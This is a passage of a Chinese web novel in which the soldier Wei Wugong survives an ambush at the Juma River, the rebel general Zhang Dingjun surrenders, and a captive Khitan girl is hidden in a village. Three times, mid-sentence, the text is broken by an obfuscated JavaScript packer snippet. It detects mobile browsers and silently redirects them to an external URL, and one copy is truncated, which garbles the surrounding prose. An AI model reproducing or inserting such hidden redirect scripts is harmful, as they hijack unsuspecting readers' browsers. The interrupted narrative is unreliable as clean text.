然而撒八也不等闲,在前方估计也是得了消息,望风而逃,带着自己的亲兵趁乱一路朝着东北疾驰。 魏无功一路追到拒马河一带。拒马河如它的名字一样,好比水蟒拦路,两岸悬崖竦峙,中间暗流湍急,终年不冻,骑兵到了这里也束手无策。撒八人马过不了河,只能仓皇藏进太行山一带的山谷。 魏无功本来抱着必胜的把握杀将进去。坐在他身后的辇真飞梭一扔,穿在树梢上,整个人腾跃而上,挑了个树尖替他们放哨。 “撒八,给老子滚出来!” 他边上的人喊了一嗓子,声音在树林间回荡,显得有些空。 “不对劲。”魏无功抬手,做了个勒马的手势。一进野三坡,他脑袋上的血管就开始没来由突突跳着。“先撤。”他说。 太安静了。 这里山麓云蔚相依,水草环茂,哪怕是深冬,也应该有些鸟雀的动静,而不是这种奇异的肃穆。他环顾四周,明明一切看起来都很正常,但是不知道为什么,心就是跳得擂鼓一样,这种既视感,一如大半个月前那个雪夜。 “咚……咚咚……咚咚……” 背后,传来一阵鼓点,由远及近。 魏无功立刻警觉,抽刀出鞘,俯身做出防御的姿势。果然,山谷入口处,出现了赤焰军的标志性血色旗帜。他能感觉到身边人那种慌乱,毕竟上次的赤焰军给他们带来了太大的震撼。 然而有些出乎意料的是,等到视野开阔处,眼前的赤焰军虽然依旧是披发红眸非人非鬼的样子,但是整体状态看上去却比上次夜里见到的要差了不少。 他们身上有很重的打斗痕迹,甲胄不齐整,不少人身上带着凝固发黑的血污,整体人数只有不到百人,还赶不上撒八的人多。魏无功看马嘴角的白沫,显然是经过了长时间的亡命奔逃。 看来,赤焰军并不是刻意蹲伏在这里,单纯是魏无功他们运气不好,撞上了被金人从北边赶到大山里的一支。 魏无功眯起眼,发现张定钧赫然在列。这次,他认真背了铁子甲,眉目中透着疲惫,再也不是两军相会闲庭信步的郎当样子。 “哟,这不是张将军嘛,几天不见,这么拉了?”魏无功定定神,双腿一夹赶着马迎了上去。看赤焰军这一幅刚吃了瘪的样子,心想也未必打不得。 “是你啊,”张定钧认出了挥刀断箭之人,冷哼道:“我不过是没留神让金狗偷了屁股,但是捏几个汉人还是跟捏蚂蚁一样的。”他在幽州、涿州一带,亲身领教了金兵和禁军的实力差距,此刻并没有把魏无功这几个人放在眼里。 魏无功也不跟他啰嗦,擒贼先擒王,他左手将刀倒握着驾马冲了过去。身后敢战营的兵见赤焰军没有了想象中的可怖,此时也是一鼓作气发起了冲锋。 两军本就有旧怨,一时间斗得相当激烈。赤焰军虽然大不如前,但个体作战能力还是不容小觑,体力上的差异依旧让敢战营打得十分辛苦。不过,魏无功发现,打头的几个赤睛魔王,有些明显的狂躁,没有之前的章法,想必是赤焰军内部出了什么状况。 张定钧似乎有顾虑,只想奇袭,不想纠缠,见一招没破敢战营的攻势,便不愿恋战,且打且退。真正让魏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143414|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无功他们吃大亏的,还是背后鹬蚌相争、渔翁得利的撒八。 张定钧正欲退时,撒八带着他的人,从山谷后方包了过来。有了张定钧争取的时间,正好供他排兵布阵、枕戈待旦了。 “本来从老东家出来就没想着回去,奈何你这人得理不饶人,”撒八依旧是那个摇头晃脑的样子,冲着魏无功说:“没办法了,只好借你人头一用,当我给张将军的投名状。” 张定钧一看林子里出来的另一支居然是契丹军,果断决定杀个回马枪,敢战营的处境瞬间一落千丈。前有赤睛魔王刀枪不入,后有契丹藩兵虎视眈眈,原本用来藏身的山谷此时成了捉鳖的大瓮,曾经挡住仇敌的拒马河此时也反而成了敢战营后撤路上的天堑。 一场恶战从下午打到黄昏,魏无功很痛苦地发现,随着夜幕的降临,赤睛魔王们的战斗力在缓缓上升。虽然不明白是什么原因,但是再不突围,等天完全黑下去,夜晚就要成了红色鬼魅统治的世界,那时再想活命就难了。 “跟着我冲出去!”魏无功咬咬牙,决定杀出一条血路。他领了二十个骑兵作为死士在前面开路,希望至少能送个斥候出去报信。他带的队伍也终究是不辜负敢战营的名号,硬生生把包围圈撞出个豁口。 兵刃相交,魏无功已经看不清前路,只是一个劲冲砍。终于,他的马先支撑不住,翻滚着倒了。魏无功跌到地上,看着冲向他的铁骑,也没有别的办法,只能忙不迭跳进深冬的河水。水中,几只箭矢擦过他的脑袋,没中。 河水冰针一般直扎脊梁骨,还得小心蹬腿防止痉挛。魏无功水性一般,顶着刺骨的河水游出了一个相当远的距离。两岸都是悬崖壁,过了很久很久他才找到一个缓坡,拼着最后一丝力气上了岸。 多处刀伤加失温,他趴在岸边的碎石上,一开始甚至感觉不到疼痛,只有麻木,连脑袋一起都冻上了。此处离野三坡已经很远,周围人毛都不见得一根,就算是斥候成功回去求援,沈仓估计也找不到他。魏无功感觉不出意外,自己这条小命应该是要交代在这里了。 河岸山清水秀,也算是个归去好地方吧。就在他这样想着的时候,突然感觉有个温热的东西在舔他的脸。他艰难地睁开眼睛,居然是大黑。 “……你怎么跟到这里来了……”他费劲抬了抬冻僵的手,在狗脑袋上摸了一把:“好狗……” 没想到绝境中来了个传信的,想必阎王爷此时还没打算收了他。魏无功身上无纸无笔,也没什么常用之物让狗叼了去,他往自己身上一同乱摸,最后居然从里衣里掏出一条手帕。 手帕上秀的喜上眉梢,金丝走线,又浮夸又矫情,跟它的原主人像了个十成十。魏无功突然就笑了。 “可真行……”他甩甩头,努力让自己保持清醒,将手帕递给大黑,轻声说:“去找你在宥哥哥去吧,让他赶紧过来捞老子……” 大黑很聪明,叼着手帕呜呜哼了一声,原地一蹬腿儿,离弦箭一般飞奔了出去。魏无功看着阳光消逝的地平线上,那个越来越小的黑点儿,眼皮沉沉地陷入了昏睡。 27.降价的筹码 魏无功再次睁开眼睛的时候,看到的是寨堡天花板,顿生愉快。 然而很快,就听见李在宥和赵元贞在低声说话,立马又闭上眼装昏。 没想到装昏差点变成真昏,意识浮沉,有点像鬼压床,想喝水又不好意思喊。后知后觉地咂摸出来全身哪儿哪儿都疼,四肢陷阱被窝里动弹不得。 那种不知道自己醒着还是睡着的感觉十分难受,他一度以为自己已经在喝了,然而过了一会儿发现还是喉咙疼,原来并没有喝到。“来人呐——救命啊——要死啦——”他在梦里喊。 李在宥转头的时候看见他动眼很快,估摸着是要醒了,把小火炉上隔着丝网温着的茶杯端了。想了一下又递给了赵元贞。 “给你,人醒了。”他说。 赵元贞在看书,随口说了句“你喂不就得了。” “不,”他斩钉截铁地说:“你喂。” 赵元贞抬起头,看了他一眼,有点不明所以。人刚抬回来的时候急的跟什么似的,这会儿又在闹什么别扭。她并没有动作,主打一个不惯着。 手伸了一会儿,见赵元贞没有要帮忙的意思,李在宥叹了口气,去床上薅被子里的魏无功。明明一只手都掐上肩膀准备拽了,看着床上的人面色苍白,连卷毛儿都跟着蔫儿答了的样子,又卸了力气。改成胳膊穿过后颈姿势,用肘子卡住后背,轻轻将人推起来。 “来搭把手。”他跟身后的赵元贞说,赵元贞往背后垫了几个枕头芯子,也凑过去看小魏。 察觉有个温热的杯沿磕在他下牙床,魏无功沉重的脑袋终于是打破了现实和梦境的边界。 很好,活过来了。他想着。吸溜了一大口。 李在宥很有耐心地等了一会儿,但是他喝到一半,叼着杯子不动了,想着自己手就这么一直举着也不是个事儿,于是说:“你这是又晕了吗?” “……没有。”魏无功说,松开了牙。 “感觉身上怎么样?”赵元贞问。 “还好,”魏无功说,“骨头有点酸。” “我们撞上赤焰军了,但是不知道为什么变弱了,人也少了一多半。”魏无功想起正事儿,赶紧说:“张定钧被金兵追到拒马河一带,还没过河。” “……”李在宥对这种人生不起来气,转身往他后背搭了个毯子,“你现在不想这些,斥候他们回来都说了。”他看了眼赵元贞,赵元贞一脸调侃不接招,于是只好又自己拿了个汤婆子塞到他手上。“你先把你的伤养好才能去帮忙不是。” 魏无功双手捧着汤婆子,垂着眼嗯了一声。 “在宥查到金人在抓回鹘人,觉得这两件事里有联系。”赵元贞想着魏无功一醒来就挂记这事儿,虽然看他精神头不好,还是决定先说给他听。“我们之前可能把张定钧想得太厉害了,但实际看来,他离了回鹘人成不了事。” 据李在宥分析,金人大概率是要切断张定钧与回鹘人之间的通路,用这种方式来限制赤焰军的扩张。 “他当时给我们魔鬼丹的时候我就应该想到的,他只会用,却依旧不能造。”赵元贞拿手指敲敲下巴颌儿,啧了一声:“谜面儿感觉更大了,有意思。” “那……谁能造?”魏无功问。 “不知道,但是她猜是西域。”李在宥说。 “那典籍里说的易州大墓……”魏无功转头看她。 “这个说来话长,回头等你好一点了让在宥给你慢慢解释,”赵元贞说:“你现在要做的就是好好恢复,这是头等大事。” “……好。”魏无功点点头。 “你放心吧,沈老哥往东去的路上就听到消息,天祚皇帝已经叫金人捉了,仗要打完了。”李在宥捡了点好听的说给他让他宽心,但其实这句话还有后半句,那就是幽云十六州连同着易州北部大部分区域,现在实际上都在金人的掌控之中。金人势如破竹,兵强马壮,宋军依旧要避其锋芒。敢战营撤回南边的寨堡按兵不动,一切要等到双方高层交涉之后再论归属。 “这么快!”魏无功一个震惊,他昏了几天,整个北境居然直接就易主了。“那张定钧怎么办?”他说话太激动,伤口都跟着扯着疼,嘴角跟着抽了两下。 “你别激动,你……”李在宥下意识伸手想去摸他伤口,结果手都伸出去才想起来对方介意,又连忙收了回去。 “张定钧降了。”李在宥假装在自己身上拍两下坐下掩饰尴尬,说:“敢战营隔得最近,这差事是你沈老哥的。” “……啊,”魏无功感觉自己脑袋涨涨的,一时间不知道该做什么反应。 “不一定是好事,”赵元贞补了一句:“依我看,这一仗打完,张定钧的筹码要降价了。拿个折价货去得罪金人,不划算呐。” 被金人打得鼠窜的张定钧,此时已经不再是受降中主动的一方。他的能力虽然没被完全摸透,但是上限就摆在这里,这个时候吸纳他反而有和金人产生摩擦的巨大风险。不过,赵元贞只能做谏官,在外交上却做不得主。 前线虽胜犹耻,功劳大头都是金人的。连吃了几场败仗的刘宣抚使和他背后的童相,需要一个相对有分量的归降,堵住朝廷中其他党羽的弹劾,力大无穷不死不灭的赤焰军,至少听起来响亮。之前气头正盛的时候一直冷落,这会儿反而抛出更大的橄榄枝给张定钧。 然而此一时彼一时也,如今金人强势控局,这种招降更显得色厉内荏。原则上张定钧是金人先要的,他们不发话,宋廷不该先拿。自古以来,弱肉强食,都是这样简单的道理。朝廷这种无异于虎口夺食的行为,把前线的沈仓架在了一个非常尴尬的位置。 “啧,你再说下去,我们魏都头要急得下地了,”李在宥作势要赶她出去,留病人静养。“走走走,我俩都走,让他清净一会儿,免得七想八想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146176|195775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的。” “也是,”赵元贞笑盈盈起身往外走:“小魏啊,你放心,上面的事情不还有云昭阁呢,沈团练那边我替你看着。” 赵元贞先一步出去了,李在宥正待跟上,魏无功突然伸手拉住了他的手腕子。 “……”李在宥低头,看着自己的手腕子,没有说话。魏无功也没说话,两人就这样僵持了一会儿。 “又装昏是吧。”等了一会儿,李在宥说。 “没有。”魏无功笑着松了手,摸摸鼻子感觉有点不好意思。拉的时候没想好要说什么,“对不起”太重了说不出口,“谢谢你”又太轻了说了没意思。 李在宥坐下来,替他想了个话头子:“等你好点儿了,阿兰姐也说要来看你。” “哦对,”魏无功想到这儿:“那辇真活着吗?” “好着呢。在隔壁躺着,状态比你还强点儿。”李在宥从怀里摸出个眼熟的小瓶子,“赵元贞又叫人备了好些,回头你拿去分几个给辇真他们。” 魏无功感觉人生病了可能有点矫情,这会儿鼻子根儿发酸。论理他隶属于敢战营,但是那种“我从屋里拿东西给你去打点关系”的感觉,好像他们这边才是一家人。 李在宥看他脸色还是很差,问:“你要不躺下来说话,吃饭还得一会儿的。” 魏无功点点头说声“好”,李在宥把他背后的枕头撤了,汤婆子拿到一边。扶着他倒下去的时候感觉哪儿哪儿别扭,这会儿魏无功清醒得很彻底,能感觉到他背绷着。于是他决定只出两根儿指头,虚虚点着后背。 “你……”李在宥看他还是那个姿势,说:“往后倒呗。” “你不是点我穴了呢。”魏无功冒了句。 李在宥愣了一会儿,反应过来开始笑,看着他笑魏无功也跟着笑,半天停不下来。李在宥一掌拍他背上压实了,“行吧,那再来个气功。” 等彻底躺下,魏无功看着他问:“撒八死了没?” “死透透的。”李在宥答:“张定钧的降书放他脑袋上寄过来的。” 魏无功笑着叹口气,把眼睛眯上,对这个结果非常满意。过了一会儿,困意上来了,迷迷糊糊听着李在宥穿个貂,走来走去窸窸窣窣的动静,嘟囔一句:“你穿这个毛衣服,像个王爷。” “没准儿我真是呢。”李在宥随口回。 他最后检查了一圈,掖了掖魏无功脑袋边上的被角说:“赵元贞去教老胡头儿做鱼泥面糊了,等你睡醒了就能吃上,睡前给你留点儿念想。” “好,”魏无功笑笑,没有睁眼:“听着就香啊……” 李在宥具体什么时候出去的他没有印象了,两个人就这么莫名其妙地吵了个架,又莫名其妙地好了。他身体还是虚,很快就陷入了恍惚,隐隐约约中想起上次有人掖被角,起码是十年前他还在蚕姑坨的时候,生病了玄清子好像就是这么掖的…… 28.归降 沈仓上次来的时候魏无功还没醒,这次来的时候,正在大口吸溜面汤,李在宥在一边抱着膀子看军医给他换药。 “年轻就是好啊,”沈仓感叹了一句:“这恢复速度。” 魏无功见到沈仓很开心,连忙问:“你那边怎么样了。” “有公主帮忙,还算凑合”,沈仓坐在他床沿子上,看一旁李在宥嫌弃军医手笨亲自上手,估摸着俩人应该是好了。“张定钧大概还有两个时辰就要到了,我先来看看你,再后面就顾不上了。” “不用管我,我好着呢,”魏无功说:“我明天就能下地!” “不急,还是等彻底好透了。”沈仓说:“张定钧归降只是个开始,真正的麻烦都在后头,你替我忙的日子长着呢。” 入冬以来,上头边打边谈已经过去数月,金人什么时候按盟约归还幽云十六州尚未有定论,敢战营在易水南,金人在易水北,各自扎营,遥遥相望,表面风平浪静,实则小摩擦不断。 金军骑兵时不时故意在河对岸驰骋炫耀武力,战马嘶鸣,刀甲生光,扬起连绵数里的尘嚣,给这边不小的压迫感。敢战营则严阵以待,寨墙上弓箭手日夜轮值,士兵的神经始终紧绷。 “现在这状态,要打不打的,都不敢歇。”沈仓说:“斥候回来的路上差点叫他们宰了,还好他机灵。” 斥候去探张定钧的进度,没想到金人就直接跟在赤焰军大部队屁股后面不远不近的距离,频繁骚扰,威慑拉满。见斥候靠近,更是数箭齐发,给了个下马威。 “张定钧这事儿一时完不了,”李在宥靠在墙上说:“我说个不中听的话,老哥你有时间的时候,该考虑考虑自己的后路。” 沈仓看了他一眼,笑着说:“要么说云昭阁厉害呢,刚前脚公主才嘱咐过我。还是你们看得长远。” 沈仓坐了一会儿就走了,魏无功听见关门声音,连忙拉着李在宥问:“你说的后路是什么意思?” “怎么说呢……”李在宥坐下说:“我和赵元贞寻思着,如果上面的谈判不顺利,金人恐怕要拿这个做文章。” 宋廷躺着赢了这一仗,深浅已经叫人看了去。金人南下之心正是甚嚣尘上的时候,万一拿张定钧的归降问题要挟,以云昭阁对上头老爷们的了解,干点卸磨杀驴的事可能性还是很大的。 “张定钧就是大坑,”魏无功气鼓鼓地把面汤沿着碗沿子舔了,问:“他的招抚宴是今天还是明天?” “今天晚上。” “那我就今天晚上下地!”魏无功说:“不行了你给我扛过去。” “行,”李在宥笑着把空碗端走了,递给他手帕擦嘴:“高低给张定钧瞧瞧,咱们魏都头小命硬着呢。” “嗯呐!”魏无功说,露出了有点孩子气的一面。“水再给洒家来一口……” 那头,张定钧率赤焰军众,骑在马上从北面缓缓而来。大部分武器已经提前捆扎好了由马车运送到寨堡,但是他本人仍着着甲,留了把贴身的佩刀,估计是为了提防金人。 沈仓和赵元贞站在城头望,赤焰军队伍不算齐整,但是勉强打点精神,几个军官在马背上,挺直腰杆儿,算是有些风骨。河对岸的金人点了狼烟,黑雾在天边划了一条线,带着点警告的意味,在夕阳里突兀得刺眼。 张定钧在寨堡外的空地请降,当着一众将士的面解了甲胄,交出佩刀。沈仓接过他递上来的降表,按惯例先念完朝廷的赦令与封赏,亲手扶起跪地的张定钧,又将佩刀当众奉还,以示信任。 当然,佩刀虽还,赤焰军的编制必须打散,混编入敢战营的各都各队中,只给了张定钧及其心腹军官保留一个参谋的虚衔。赵元贞看赤焰军人困马乏,也耐下心来,约了张定钧第二天帐中沟通,当下还是先设宴款待安抚。 张定钧全程没怎么说话,举手投足间相当配合,看来被金人磋磨得狠了,终于认清了自己的处境。只是在听见“第二天沟通”的时候,说了句“就现在吧”。 赵元贞一愣,说了声“那感情好啊”,心忖怎么他反倒急了。沈仓连忙让不相干人等都退下去,只留他们三个在大帐之中。 没想到,张定钧上来就开门见山地说:“我知道云昭阁有本事,但是你,说不上话。”一句话就把赵元贞噎着了。她暗中掐了一把自己的手,仍是摆出一副笑脸。 “我说这话并没有瞧不起你的意思,”张定钧不算倨傲,但是话说得相当直接:“女子挂帅当然不是等闲之辈,但是凭你的本事还保不住我张定钧的头。” “赤焰军的秘密,不见到说得上话的人,我是不会说出来的。”张定钧冲着赵元贞和沈仓一拱手,说:“还劳烦二位替我把话递上去。” 张定钧戳到了赵元贞的痛处。云昭阁虽然守藏天下奇书奇闻,离天子很近,却始终并不是一个权力机构。张定钧这是要见到童相甚至皇帝本人才会讲真话了,字里行间根本没留讨价还价的余地。 她盯着张定钧,一边钦佩他枭雄的审时度势,一边着实拿他没有办法。她既不能否认张定钧的话,又不能拆自家枢密院的台。没有人比她更理解张定钧存在的意义,可惜张定钧只让她做这个传声筒。 “张将军放心,话,元贞一定给您带到。”赵元贞依旧是笑着说:“只是也请将军知晓,时移世易,今时不同往日,您既入了敢战营,该如何觐见,自有朝廷法度。上面的贵人案牍劳形,何时拨冗,元贞也只能听吩咐。” 张定钧是个打仗的,听不懂文人的弯弯绕绕,低头沉思了一会儿,大概猜到了赵元贞在点他是烫手山芋,上面不一定愿意躬身处理。这也恰好是他进退维谷的地方:金人把赤焰军打成这样,他不敢过去降,可是宋人这边一直不咸不淡把他挂着,只派个女子跟他联系,他觉得他的脑袋还是不够安稳。 “我知道赤焰军如今的境地,没有点诚意童相不肯见我,所以我还带了个礼物,”好在张定钧还给自己留了一手。他用契丹语朝外头喊了一声,两个他的亲信一左一右抬了个皮箱过来,放在地上。箱子里传来“咚咚”的敲击声,里面竟是一个活人。 “这是……” 沈仓话还没问完,张定钧就接了过去:“是位耶律。” 他一把掀开箱子,里面是个七八岁大的女孩儿,被人捆住手脚堵了嘴,明明吓得涕泗横流,但还是在疯狂踹箱子来表达愤怒。 “是哪家的耶律?”沈仓问。 “还有气候的那家。”张定钧答。 “可惜是个女孩儿。”男女对于契丹人可能无所谓,但是张定钧想着汉人貌似更器重小子。 “女孩儿怎么了,”赵元贞似乎对这个小孩儿很感兴趣,走到箱子旁边蹲下来看,眼底飞快闪过一万个想法。 小耶律在箱子里,眼睛都哭出红血丝了,仍是恶狠狠瞪着赵元贞,嘴里被麻布堵着说不出话,但是听音调也知道是在骂人,骂的还挺脏。 赵元贞笑了:“看这脾气,是实打实的皇家血脉。” 安排手下将小耶律松了绑,亲自解嘴套的时候差点儿被她咬了一口,赵元贞哈哈大笑。“张将军,这颗草原上的珍珠,我先替您献给童相。” 她站起来行了个礼:“今晚,还请将军暂且安心,让敢战营为您接风洗尘。” 晚宴快开始,沈仓和赵元贞入座的时候,很惊讶地在两侧的桌子上,发现了魏无功。 “你怎么来了?”沈仓说:“你现在不应该躺着吗?” “他说他要用气势碾压张定钧。”李在宥说。出发前魏无功让自己给他捯饬了一番,把外露的伤口都拿衣服小心遮好了。李在宥还提议要不化点儿妆把脸色遮一遮,遭到了魏无功的强烈反对。 “你怎么也由着他胡闹。”沈仓哭笑不得。 “来不及了,已经被碾压完了。”赵元贞一脸郁闷,“那个张定钧净戳我肺管子。” “他敢!”李在宥嚎了一嗓子,还想说什么的时候又被魏无功捂了嘴。他越过赵元贞往后看,原来是赤焰军也陆陆续续入座了。 赵元贞跟着沈仓往上座走,过去之前在李在宥身后轻轻贴着他问了句: “你俩好了?” “我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“她往上三代算上去有汉人血统,和契丹人又有世仇……”李在宥分析着:“因为小梁太后弑兄这事儿,她和西夏王公贵族的关系也相当微妙,现在又为我朝效力……” “这身份也太复杂了,”魏无功脑子里盘算着,这样看来,梁阿兰不属于何一方势力,又被多种力量裹挟,居然如同像沙漠里的花儿一样倔强地生存下来,甚至还能领着一支小队冲锋在前。“啧,小小一方敢战营,真是卧虎藏龙。” “赵元贞也是这说的,”李在宥跟他讲:“但是不知道为啥她俩气场有点儿不对付,所以让我俩多和她套套近乎,搭上线,这事儿你记住了啊。” “记住归记住,我可没有小嘴儿抹了蜜的能耐,姐姐前姐姐后的,”魏无功笑了:“我顶多也就能跟辇真唠上两句。”他端着茶杯,在李在宥的酒碗上轻轻磕了一下。 等到打圈儿敬酒的时候,魏无功艰难地挪动到沈仓边上,听他想说什么。 沈仓拉了他走到屏风后面,小声把张定钧带了个耶律的事儿说给他听: “无功啊,”沈仓凝神良久,下定决心一般看着魏无功的眼睛说:“公主让我把小耶律的事情扣下来,只往上报赤焰军的部分。我已经答应了。” 魏无功一愣。沈仓是个老实人,让他这样瞒报,他心里过不去,但是他也不能拧着公主的意思,现在大概憋得慌找他商量,想吃个定心丸。于是他想了想说:“公主这么做肯定有她的道理,她既然提醒了你给自己留后路,想必出发点还是好的。” “唉,我也正是因为这个,才答应的。”沈仓叹了口气,稍稍安心了些:“但是上头的脾气,她应该是最清楚的。这军队里人来人往的,不是个事儿,还是要藏远一点才好。” “这事儿交给其他人我不放心,还是你带着她和在宥老弟去干吧,”沈仓打量了一下魏无功的身体状况,接着说:“我跟村里的猎户说好了,先藏到他家里去,对外就跟张将军说,你们几个已经出发送人上京去了。” 魏无功点头答应。提到猎户他才突然想起来,醒过来这么久,还没顾得上犒劳犒劳大黑。送小耶律的路上,最好再带点肉…… 29.小耶律 魏无功感觉带小耶律去猎户家的路异常漫长。 这位小朋友年纪不大,骂人却歹毒。本来被赵元贞投喂已经差不多安静下来了,结果上马车的时候李在宥嘴碎说了一句“哟,这小孩儿怎么米糕蘸着鼻涕泡吃”,被她沿路骂到现在,小狗脾气。 自从受伤以来他还没有离开过寨堡,这会儿隔着车帘子往外看,发现形式确实不容乐观。河对面在练兵,锣鼓敲得山响,隔着马车咕噜噜的车辙子响都听得清清楚楚。 他顶着小姑娘尖脆的叫骂,问李在宥:“金人会打过来吗?” 李在宥说了句“早晚的。”赵元贞半躺着掏出块糖饼塞给小耶律,说:“驱虎吞狼,现在老虎赶不走咯。” 小耶律不跟吃的计较,捧了糖饼就开始啃,一边啃一边看着李在宥说:“就该让老虎吃了这只臭狐狸,骚哄哄的。” “嘿个小丫头,”李在宥无语:“说一句顶十句,烦死了。” 赵元贞笑他:“谁让你穿这一身毛”。 魏无功看着李在宥锦帽貂裘的打扮,感觉他确实像一只很大的动物,在冬阳底下晒得蓬松。不过李在宥并没有注意到他的视线,他在一门心思看小耶律啃糖,觉得这孩子着实不算可爱:饼大个脸上两颊烂苹果似的红着,扎着两条粗粗的麻花辫,三角眼骂人的时候滴溜溜转。于是问:“张定钧别是从哪里薅来个村里的小丫头蒙我们的吧。” 小耶律用不太标准的汉语回他:“孔子见子羽,尚不以貌取人。你这双狗眼睛又看得出什么好东西?” 给李在宥怼得一愣,好家伙,把孔圣人都搬出来了。 “这是八岁?”李在宥望着赵元贞。赵元贞只是笑:“活该,让你嘴贱。” “好好好,是我有眼不识珠,”李在宥看小耶律还在骂,说:“姑奶奶你消停一会儿吧。” “哼,诺海特没(狗杂种)!”小耶律又骂了一句。 魏无功本来在一旁兴致勃勃看戏,发现李在宥对这句似乎很敏感,突然冷了脸。 “耶律,我跟你说过什么还记得吗?”赵元贞见状,坐起来看着她严肃道:“受到压迫要出拳头,这没错,但是也要看看自己的处境。” 小耶律看了一眼给她吃饭扎辫儿的漂亮姑姑好像真生气了,脖子一缩,没再吭声了。 魏无功不明所以又不好问。倒是李在宥很快恢复正常,问他:“这马车颠的,你伤口没事吧。” “还成,不疼了,现在主要是痒痒。”魏无功答。李在宥不提还好,一想起来他就浑身瘙痒,隔着好几层衣服又挠不着。 “你把你那里三层外三层的脱了,看着跟狗熊蹭树似的,又不暖和,”李在宥看他痒得坐不住,又被一堆麻料子捆得动弹不得,万分嫌弃地把自己的毛氅给他:“拿去拿去拿去,给你这乡下人穿点儿好的,一边挠去吧。” 魏无功接了衣服,在赵元贞意味深长的微笑中,有点不太好意思地换上了。裹上的瞬间,就感受到了金钱的力量。那个毛划过他的皮肤,感觉世界都美好起来了,对面的什么金戈铁马、烽火狼烟的都无所谓了。 “带毛的是不一样哈……”他感叹一句,小心翼翼地搓了一下伤口。 “没发炎吧?”赵元贞问。魏无功摇摇头。 “你穿着像个山大王。”小耶律糖饼啃完,嘴巴又空出来了,赵元贞连忙又递了一块儿过去。 魏无功感觉好笑,问:“那他穿着就不像了吗?” 小耶律摇摇头,没想起来那句汉语应该怎么说。“他是额日古昆(狡猾的男人),草原上的狐狸一样的。” “啧,小豆饼。”李在宥把脸掉过去,决定不跟小孩儿计较。 小耶律扒在车窗上,看着易州冰雪在阳光下逐渐消融,哼起了契丹童谣。孩子的嗓音奶声奶气的,被马车一颠,断断续续反而别有一番韵味。李在宥拿食指轻轻点着拍子,靠在椅背上上一副公子哥儿做派,仿佛是在勾栏听小曲儿。 魏无功缩在毛毛里,感觉这调子有点儿耳熟,玄清子以前干活儿的时候是不是哼过。但是玄清子怎么会唱契丹民歌呢?记忆太久远,他想着想着就迷糊了,见周公前隐约听见赵元贞跟小耶律说: “咱们小豆饼这是想家了……” 魏无功是最后被狗叫声吵醒的。 大黑老远听见马车的动静就开始叫,发现下来的是魏无功,叫得更凶了。 “别舔,别……”魏无功跳下车还没清醒,就被狗口水糊了一脸,连衣服上的毛毛都被口水打湿成湿哒哒的几绺,本来想下了车立即还给李在宥的,要不还是等一会儿吧,干了再说。 小耶律终于遇到了一生之敌,被狗吓得躲在赵元贞身后。 “别怕,这狗乖得很。”赵元贞揉了揉她的脑袋,结果摸了一手油,寻思着一会儿要给孩子好好洗洗,别长虱子了。 猎户姓邹,约莫五十的年纪,听见大黑发出的动静,带了他老婆走出来,将他们迎了进去。自从李在宥无意间喊了句“小豆饼”,大家都觉得很合适,于是小耶律正式隐姓埋名,变成了小豆饼。猎户老婆自己没生女儿,见了小豆饼喜欢得不行,一见面就去地窖里掏番薯烤给她吃。 李在宥没见过村里窖子,对后院儿不起眼的角落里那个黑黑的地洞非常稀罕。 正欲凑过去看的时候,魏无功在后头喊了他一嗓子:“诶,回来。” “怎么?” “别凑过去看,不太礼貌。” “啊?”李在宥闻所未闻:“窖子不能看?有什么讲究吗。” “不是,现在情况比较特殊。”魏无功跟他解释:“平时吧,这种窖洞也就放些白菜红薯的,但是现在是战时,有些村民会把家里值钱的东西也藏进去。” 这种洞口很小的地窖,平时拿土掩了从外观上看不大出来。在特殊时期,要频繁躲避战乱,家里有些贵重的大物件不方便带走,都会被村民小心的藏进去,寄希望于哪天回来能取。 “噢……原来如此。”李在宥感觉自己又学了点儿新东西。 “没事儿,看吧,没什么值钱的。”没想到邹婶儿耳朵特别灵,隔老远就听见了:“就几个陶瓮,放着我爹给我做嫁妆的几个瓷碗,怕磕了碰了,就埋地下了。” 邹婶儿掏了一个瓦罐儿给他瞧,李在宥接过去,大大方方打开,里面是白地黑花碗,虽然不如官宦家的工艺精致,但是胜在古朴苍劲,别有一番风雅。 “真好看,”李在宥小心取出一个,拿给魏无功一起瞧:“一看就是磁州的。” “哟,这城里来的哥儿就是识货,”邹婶儿自家的东西叫人鉴赏,又高兴又得意:“这我爹亲自拉了泥肧烧的。” “您出嫁的时候他肯定哭坏了,”李在宥嘴甜得很:“瞧这大牡丹……” 魏无功觉得他这性格挺可爱的,明明宫里锦衣玉食,出了门一点儿也不委屈,高高兴兴地看什么都稀奇:一会儿喂鸡,一会儿玩儿打水的辘轳,过会儿又对着传了好几代的大门铜锁在那里一个人嘀嘀咕咕研究。洗菜造饭什么忙都帮不上,偏偏生了个好嘴,哄得邹叔邹婶儿心甘情愿忙前忙后的。 “你歇会儿吧李大爷。”魏无功跟在他后面踢着小石子儿:“你再考察两圈儿,给邹婶儿看到了又要跟着站起来了。” “也是,”李在宥想了想,“主要是我婶儿太热情了,我还是坐会儿吧。” 